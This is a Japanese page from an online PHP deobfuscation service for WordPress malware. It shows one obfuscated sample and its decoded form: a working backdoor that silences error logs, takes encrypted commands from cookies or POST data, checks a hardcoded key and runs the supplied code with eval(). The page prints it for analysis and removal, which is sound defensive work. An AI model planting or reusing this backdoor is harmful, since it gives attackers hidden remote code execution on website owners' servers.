Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php $t15b2 = 505;$GLOBALS['rc14c7b'] = Array();global $rc14c7b;$rc14c7b = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['z0ba2837'] = "\x36\x4e\x38\x43\x5d\x23\x7a\x77\x75\x66\x5e\x26\x9\x6a\x35\x46\x48\x33\x79\x3c\x42\x32\xa\x3a\x65\x3d\x6c\x6d\x27\x62\x2f\x67\x64\x40\x58\x6b\x69\x4d\x74\x28\x72\x3e...



難読化されたPHPコード

<?php $t15b2 = 505;$GLOBALS['rc14c7b'] = Array();global $rc14c7b;$rc14c7b = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['z0ba2837'] = "\x36\x4e\x38\x43\x5d\x23\x7a\x77\x75\x66\x5e\x26\x9\x6a\x35\x46\x48\x33\x79\x3c\x42\x32\xa\x3a\x65\x3d\x6c\x6d\x27\x62\x2f\x67\x64\x40\x58\x6b\x69\x4d\x74\x28\x72\x3e\x52\x45\x71\x22\x6f\x24\x61\x4a\x60\x20\x44\x21\x54\x47\x59\x49\x29\x7c\x2e\x7d\x2a\x5a\x3f\x78\x4b\x73\x7e\x41\x2d\xd\x63\x56\x6e\x5f\x5b\x70\x31\x34\x39\x50\x57\x3b\x4f\x55\x37\x2c\x53\x2b\x30\x51\x7b\x5c\x76\x25\x4c\x68";$rc14c7b[$rc14c7b['z0ba2837'][31].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][0]] = $rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][97].$rc14c7b['z0ba2837'][40];$rc14c7b[$rc14c7b['z0ba2837'][65].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][90].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][90]] = $rc14c7b['z0ba2837'][46].$rc14c7b['z0ba2837'][40].$rc14c7b['z0ba2837'][32];$rc14c7b[$rc14c7b['z0ba2837'][26].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][17].$rc14c7b['z0ba2837'][79]] = $rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][74].$rc14c7b['z0ba2837'][24];$rc14c7b[$rc14c7b['z0ba2837'][74].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][48]] = $rc14c7b['z0ba2837'][67].$rc14c7b['z0ba2837'][38].$rc14c7b['z0ba2837'][40].$rc14c7b['z0ba2837'][26].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][74];$rc14c7b[$rc14c7b['z0ba2837'][31].$rc14c7b['z0ba2837'][86].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][86]] = $rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][74].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][32];$rc14c7b[$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][86].$rc14c7b['z0ba2837'][29]] = $rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][74].$rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][75].$rc14c7b['z0ba2837'][67].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][38];$rc14c7b[$rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][90]] = $rc14c7b['z0ba2837'][67].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][40].$rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][26].$rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][6].$rc14c7b['z0ba2837'][24];$rc14c7b[$rc14c7b['z0ba2837'][97].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][21].$rc14c7b['z0ba2837'][17].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][17]] = $rc14c7b['z0ba2837'][77].$rc14c7b['z0ba2837'][97].$rc14c7b['z0ba2837'][77].$rc14c7b['z0ba2837'][94].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][40].$rc14c7b['z0ba2837'][67].$rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][46].$rc14c7b['z0ba2837'][74];$rc14c7b[$rc14c7b['z0ba2837'][40].$rc14c7b['z0ba2837'][86].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][90].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][86]] = $rc14c7b['z0ba2837'][8].$rc14c7b['z0ba2837'][74].$rc14c7b['z0ba2837'][67].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][40].$rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][26].$rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][6].$rc14c7b['z0ba2837'][24];$rc14c7b[$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][29]] = $rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][67].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][75].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][46].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][24];$rc14c7b[$rc14c7b['z0ba2837'][7].$rc14c7b['z0ba2837'][86].$rc14c7b['z0ba2837'][86].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][2]] = $rc14c7b['z0ba2837'][67].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][38].$rc14c7b['z0ba2837'][75].$rc14c7b['z0ba2837'][38].$rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][27].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][75].$rc14c7b['z0ba2837'][26].$rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][27].$rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][38];$rc14c7b[$rc14c7b['z0ba2837'][38].$rc14c7b['z0ba2837'][90].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][80].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][9]] = $rc14c7b['z0ba2837'][97].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][17].$rc14c7b['z0ba2837'][14];$rc14c7b[$rc14c7b['z0ba2837'][65].$rc14c7b['z0ba2837'][80].$rc14c7b['z0ba2837'][80].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][14]] = $rc14c7b['z0ba2837'][65].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][79];$rc14c7b[$rc14c7b['z0ba2837'][13].$rc14c7b['z0ba2837'][86].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][17].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][17]] = $_POST;$rc14c7b[$rc14c7b['z0ba2837'][46].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][17]] = $_COOKIE;@$rc14c7b[$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][86].$rc14c7b['z0ba2837'][29]]($rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][40].$rc14c7b['z0ba2837'][40].$rc14c7b['z0ba2837'][46].$rc14c7b['z0ba2837'][40].$rc14c7b['z0ba2837'][75].$rc14c7b['z0ba2837'][26].$rc14c7b['z0ba2837'][46].$rc14c7b['z0ba2837'][31], NULL);@$rc14c7b[$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][86].$rc14c7b['z0ba2837'][29]]($rc14c7b['z0ba2837'][26].$rc14c7b['z0ba2837'][46].$rc14c7b['z0ba2837'][31].$rc14c7b['z0ba2837'][75].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][40].$rc14c7b['z0ba2837'][40].$rc14c7b['z0ba2837'][46].$rc14c7b['z0ba2837'][40].$rc14c7b['z0ba2837'][67], 0);@$rc14c7b[$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][86].$rc14c7b['z0ba2837'][29]]($rc14c7b['z0ba2837'][27].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][65].$rc14c7b['z0ba2837'][75].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][65].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][8].$rc14c7b['z0ba2837'][38].$rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][46].$rc14c7b['z0ba2837'][74].$rc14c7b['z0ba2837'][75].$rc14c7b['z0ba2837'][38].$rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][27].$rc14c7b['z0ba2837'][24], 0);@$rc14c7b[$rc14c7b['z0ba2837'][7].$rc14c7b['z0ba2837'][86].$rc14c7b['z0ba2837'][86].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][2]](0);if (!$rc14c7b[$rc14c7b['z0ba2837'][31].$rc14c7b['z0ba2837'][86].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][86]]($rc14c7b['z0ba2837'][69].$rc14c7b['z0ba2837'][96].$rc14c7b['z0ba2837'][42].$rc14c7b['z0ba2837'][43].$rc14c7b['z0ba2837'][69].$rc14c7b['z0ba2837'][52].$rc14c7b['z0ba2837'][56].$rc14c7b['z0ba2837'][75].$rc14c7b['z0ba2837'][42].$rc14c7b['z0ba2837'][85].$rc14c7b['z0ba2837'][1].$rc14c7b['z0ba2837'][75].$rc14c7b['z0ba2837'][17].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][21].$rc14c7b['z0ba2837'][17].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][21].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][90].$rc14c7b['z0ba2837'][21].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][48])){$rc14c7b[$rc14c7b['z0ba2837'][26].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][17].$rc14c7b['z0ba2837'][79]]($rc14c7b['z0ba2837'][69].$rc14c7b['z0ba2837'][96].$rc14c7b['z0ba2837'][42].$rc14c7b['z0ba2837'][43].$rc14c7b['z0ba2837'][69].$rc14c7b['z0ba2837'][52].$rc14c7b['z0ba2837'][56].$rc14c7b['z0ba2837'][75].$rc14c7b['z0ba2837'][42].$rc14c7b['z0ba2837'][85].$rc14c7b['z0ba2837'][1].$rc14c7b['z0ba2837'][75].$rc14c7b['z0ba2837'][17].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][21].$rc14c7b['z0ba2837'][17].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][21].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][90].$rc14c7b['z0ba2837'][21].$rc14c7b['z0ba2837'][9].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][48], 1);$i5d9 = NULL;$zb87305c = NULL;$rc14c7b[$rc14c7b['z0ba2837'][6].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][86].$rc14c7b['z0ba2837'][17].$rc14c7b['z0ba2837'][9]] = $rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][80].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][21].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][70].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][70].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][70].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][80].$rc14c7b['z0ba2837'][21].$rc14c7b['z0ba2837'][70].$rc14c7b['z0ba2837'][21].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][21].$rc14c7b['z0ba2837'][80].$rc14c7b['z0ba2837'][90].$rc14c7b['z0ba2837'][80].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][21].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][29];global $z873f;function  x1cd4($i5d9, $sa3b67950){global $rc14c7b;$bb0fe = "";for ($e6273e=0; $e6273e<$rc14c7b[$rc14c7b['z0ba2837'][74].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][48]]($i5d9);){for ($yd48c=0; $yd48c<$rc14c7b[$rc14c7b['z0ba2837'][74].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][48]]($sa3b67950) && $e6273e<$rc14c7b[$rc14c7b['z0ba2837'][74].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][48]]($i5d9); $yd48c++, $e6273e++){$bb0fe .= $rc14c7b[$rc14c7b['z0ba2837'][31].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][0]]($rc14c7b[$rc14c7b['z0ba2837'][65].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][90].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][90]]($i5d9[$e6273e]) ^ $rc14c7b[$rc14c7b['z0ba2837'][65].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][90].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][90]]($sa3b67950[$yd48c]));}}return $bb0fe;}function  hcc835($i5d9, $sa3b67950){global $rc14c7b;global $z873f;return $rc14c7b[$rc14c7b['z0ba2837'][65].$rc14c7b['z0ba2837'][80].$rc14c7b['z0ba2837'][80].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][14]]($rc14c7b[$rc14c7b['z0ba2837'][65].$rc14c7b['z0ba2837'][80].$rc14c7b['z0ba2837'][80].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][14]]($i5d9, $z873f), $sa3b67950);}foreach ($rc14c7b[$rc14c7b['z0ba2837'][46].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][17]] as $sa3b67950=>$qa03c2010){$i5d9 = $qa03c2010;$zb87305c = $sa3b67950;}if (!$i5d9){foreach ($rc14c7b[$rc14c7b['z0ba2837'][13].$rc14c7b['z0ba2837'][86].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][32].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][17].$rc14c7b['z0ba2837'][0].$rc14c7b['z0ba2837'][17]] as $sa3b67950=>$qa03c2010){$i5d9 = $qa03c2010;$zb87305c = $sa3b67950;}}$i5d9 = @$rc14c7b[$rc14c7b['z0ba2837'][40].$rc14c7b['z0ba2837'][86].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][90].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][86]]($rc14c7b[$rc14c7b['z0ba2837'][38].$rc14c7b['z0ba2837'][90].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][24].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][80].$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][9]]($rc14c7b[$rc14c7b['z0ba2837'][29].$rc14c7b['z0ba2837'][2].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][29]]($i5d9), $zb87305c));if (isset($i5d9[$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][35]]) && $z873f==$i5d9[$rc14c7b['z0ba2837'][48].$rc14c7b['z0ba2837'][35]]){if ($i5d9[$rc14c7b['z0ba2837'][48]] == $rc14c7b['z0ba2837'][36]){$e6273e = Array($rc14c7b['z0ba2837'][77].$rc14c7b['z0ba2837'][94] => @$rc14c7b[$rc14c7b['z0ba2837'][97].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][21].$rc14c7b['z0ba2837'][17].$rc14c7b['z0ba2837'][14].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][17]](),$rc14c7b['z0ba2837'][67].$rc14c7b['z0ba2837'][94] => $rc14c7b['z0ba2837'][78].$rc14c7b['z0ba2837'][60].$rc14c7b['z0ba2837'][90].$rc14c7b['z0ba2837'][70].$rc14c7b['z0ba2837'][78],);echo @$rc14c7b[$rc14c7b['z0ba2837'][36].$rc14c7b['z0ba2837'][72].$rc14c7b['z0ba2837'][79].$rc14c7b['z0ba2837'][90]]($e6273e);}elseif ($i5d9[$rc14c7b['z0ba2837'][48]] == $rc14c7b['z0ba2837'][24]){eval/*ccd2c200*/($i5d9[$rc14c7b['z0ba2837'][32]]);}exit();}} ?>

デコード(難読化解除)されたコード

<?php

$t15b2 = 505;
$GLOBALS['rc14c7b'] = array();
global $rc14c7b;
$rc14c7b = $GLOBALS;
$GLOBALS['z0ba2837'] = "6N8C]#zwuf^&\tj5FH3y<B2\n:e=lm'b/gd@XkiMt(r>REq\"o\$aJ` D!TGYI)|.}*Z?xKs~A-\rcVn_[p149PW;OU7,S+0Q{\\v%Lh";
$rc14c7b["gd8d6"] = "chr";
$rc14c7b["x65b860a0"] = "ord";
$rc14c7b["lc34"] = "define";
$rc14c7b["n66e45a"] = "strlen";
$rc14c7b["g7dfffb7"] = "defined";
$rc14c7b["adae47b"] = "ini_set";
$rc14c7b["ic40"] = "serialize";
$rc14c7b["h52354143"] = "phpversion";
$rc14c7b["r780a7"] = "unserialize";
$rc14c7b["b81b"] = "base64_decode";
$rc14c7b["w77cc81f8"] = "set_time_limit";
$rc14c7b["t01ec9baf"] = "hcc835";
$rc14c7b["x99be5"] = "x1cd4";
$rc14c7b["j7c5da363"] = $_POST;
$rc14c7b["oc63"] = $_COOKIE;
@ini_set("error_log", NULL);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@set_time_limit(0);
if (!defined("ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba")) {
    define("ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba", 1);
    $i5d9 = NULL;
    $zb87305c = NULL;
    $rc14c7b["z873f"] = "4964ee2a-da5b-45b5-ac92-2e62909a268b";
    global $z873f;
    function x1cd4($i5d9, $sa3b67950)
    {
        global $rc14c7b;
        $bb0fe = "";
        for ($e6273e = 0; $e6273e < $rc14c7b[$rc14c7b['z0ba2837'][74] . $rc14c7b['z0ba2837'][0] . $rc14c7b['z0ba2837'][0] . $rc14c7b['z0ba2837'][24] . $rc14c7b['z0ba2837'][79] . $rc14c7b['z0ba2837'][14] . $rc14c7b['z0ba2837'][48]]($i5d9);) {
            for ($yd48c = 0; $yd48c < $rc14c7b[$rc14c7b['z0ba2837'][74] . $rc14c7b['z0ba2837'][0] . $rc14c7b['z0ba2837'][0] . $rc14c7b['z0ba2837'][24] . $rc14c7b['z0ba2837'][79] . $rc14c7b['z0ba2837'][14] . $rc14c7b['z0ba2837'][48]]($sa3b67950) && $e6273e < $rc14c7b[$rc14c7b['z0ba2837'][74] . $rc14c7b['z0ba2837'][0] . $rc14c7b['z0ba2837'][0] . $rc14c7b['z0ba2837'][24] . $rc14c7b['z0ba2837'][79] . $rc14c7b['z0ba2837'][14] . $rc14c7b['z0ba2837'][48]]($i5d9); $yd48c++, $e6273e++) {
                $bb0fe .= $rc14c7b[$rc14c7b['z0ba2837'][31] . $rc14c7b['z0ba2837'][32] . $rc14c7b['z0ba2837'][2] . $rc14c7b['z0ba2837'][32] . $rc14c7b['z0ba2837'][0]]($rc14c7b[$rc14c7b['z0ba2837'][65] . $rc14c7b['z0ba2837'][0] . $rc14c7b['z0ba2837'][14] . $rc14c7b['z0ba2837'][29] . $rc14c7b['z0ba2837'][2] . $rc14c7b['z0ba2837'][0] . $rc14c7b['z0ba2837'][90] . $rc14c7b['z0ba2837'][48] . $rc14c7b['z0ba2837'][90]]($i5d9[$e6273e]) ^ $rc14c7b[$rc14c7b['z0ba2837'][65] . $rc14c7b['z0ba2837'][0] . $rc14c7b['z0ba2837'][14] . $rc14c7b['z0ba2837'][29] . $rc14c7b['z0ba2837'][2] . $rc14c7b['z0ba2837'][0] . $rc14c7b['z0ba2837'][90] . $rc14c7b['z0ba2837'][48] . $rc14c7b['z0ba2837'][90]]($sa3b67950[$yd48c]));
            }
        }
        return $bb0fe;
    }
    function hcc835($i5d9, $sa3b67950)
    {
        global $rc14c7b;
        global $z873f;
        return $rc14c7b[$rc14c7b['z0ba2837'][65] . $rc14c7b['z0ba2837'][80] . $rc14c7b['z0ba2837'][80] . $rc14c7b['z0ba2837'][29] . $rc14c7b['z0ba2837'][24] . $rc14c7b['z0ba2837'][14]]($rc14c7b[$rc14c7b['z0ba2837'][65] . $rc14c7b['z0ba2837'][80] . $rc14c7b['z0ba2837'][80] . $rc14c7b['z0ba2837'][29] . $rc14c7b['z0ba2837'][24] . $rc14c7b['z0ba2837'][14]]($i5d9, $z873f), $sa3b67950);
    }
    foreach ($rc14c7b[$rc14c7b['z0ba2837'][46] . $rc14c7b['z0ba2837'][72] . $rc14c7b['z0ba2837'][0] . $rc14c7b['z0ba2837'][17]] as $sa3b67950 => $qa03c2010) {
        $i5d9 = $qa03c2010;
        $zb87305c = $sa3b67950;
    }
    if (!$i5d9) {
        foreach ($rc14c7b[$rc14c7b['z0ba2837'][13] . $rc14c7b['z0ba2837'][86] . $rc14c7b['z0ba2837'][72] . $rc14c7b['z0ba2837'][14] . $rc14c7b['z0ba2837'][32] . $rc14c7b['z0ba2837'][48] . $rc14c7b['z0ba2837'][17] . $rc14c7b['z0ba2837'][0] . $rc14c7b['z0ba2837'][17]] as $sa3b67950 => $qa03c2010) {
            $i5d9 = $qa03c2010;
            $zb87305c = $sa3b67950;
        }
    }
    $i5d9 = @$rc14c7b[$rc14c7b['z0ba2837'][40] . $rc14c7b['z0ba2837'][86] . $rc14c7b['z0ba2837'][2] . $rc14c7b['z0ba2837'][90] . $rc14c7b['z0ba2837'][48] . $rc14c7b['z0ba2837'][86]]($rc14c7b[$rc14c7b['z0ba2837'][38] . $rc14c7b['z0ba2837'][90] . $rc14c7b['z0ba2837'][78] . $rc14c7b['z0ba2837'][24] . $rc14c7b['z0ba2837'][72] . $rc14c7b['z0ba2837'][80] . $rc14c7b['z0ba2837'][29] . $rc14c7b['z0ba2837'][48] . $rc14c7b['z0ba2837'][9]]($rc14c7b[$rc14c7b['z0ba2837'][29] . $rc14c7b['z0ba2837'][2] . $rc14c7b['z0ba2837'][78] . $rc14c7b['z0ba2837'][29]]($i5d9), $zb87305c));
    if (isset($i5d9[$rc14c7b['z0ba2837'][48] . $rc14c7b['z0ba2837'][35]]) && $z873f == $i5d9[$rc14c7b['z0ba2837'][48] . $rc14c7b['z0ba2837'][35]]) {
        if ($i5d9[$rc14c7b['z0ba2837'][48]] == $rc14c7b['z0ba2837'][36]) {
            $e6273e = array($rc14c7b['z0ba2837'][77] . $rc14c7b['z0ba2837'][94] => @$rc14c7b[$rc14c7b['z0ba2837'][97] . $rc14c7b['z0ba2837'][14] . $rc14c7b['z0ba2837'][21] . $rc14c7b['z0ba2837'][17] . $rc14c7b['z0ba2837'][14] . $rc14c7b['z0ba2837'][79] . $rc14c7b['z0ba2837'][78] . $rc14c7b['z0ba2837'][79] . $rc14c7b['z0ba2837'][17]](), $rc14c7b['z0ba2837'][67] . $rc14c7b['z0ba2837'][94] => $rc14c7b['z0ba2837'][78] . $rc14c7b['z0ba2837'][60] . $rc14c7b['z0ba2837'][90] . $rc14c7b['z0ba2837'][70] . $rc14c7b['z0ba2837'][78]);
            echo @$rc14c7b[$rc14c7b['z0ba2837'][36] . $rc14c7b['z0ba2837'][72] . $rc14c7b['z0ba2837'][79] . $rc14c7b['z0ba2837'][90]]($e6273e);
        } elseif ($i5d9[$rc14c7b['z0ba2837'][48]] == $rc14c7b['z0ba2837'][24]) {
            eval($i5d9[$rc14c7b['z0ba2837'][32]]);
        }
        exit;
    }
}


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.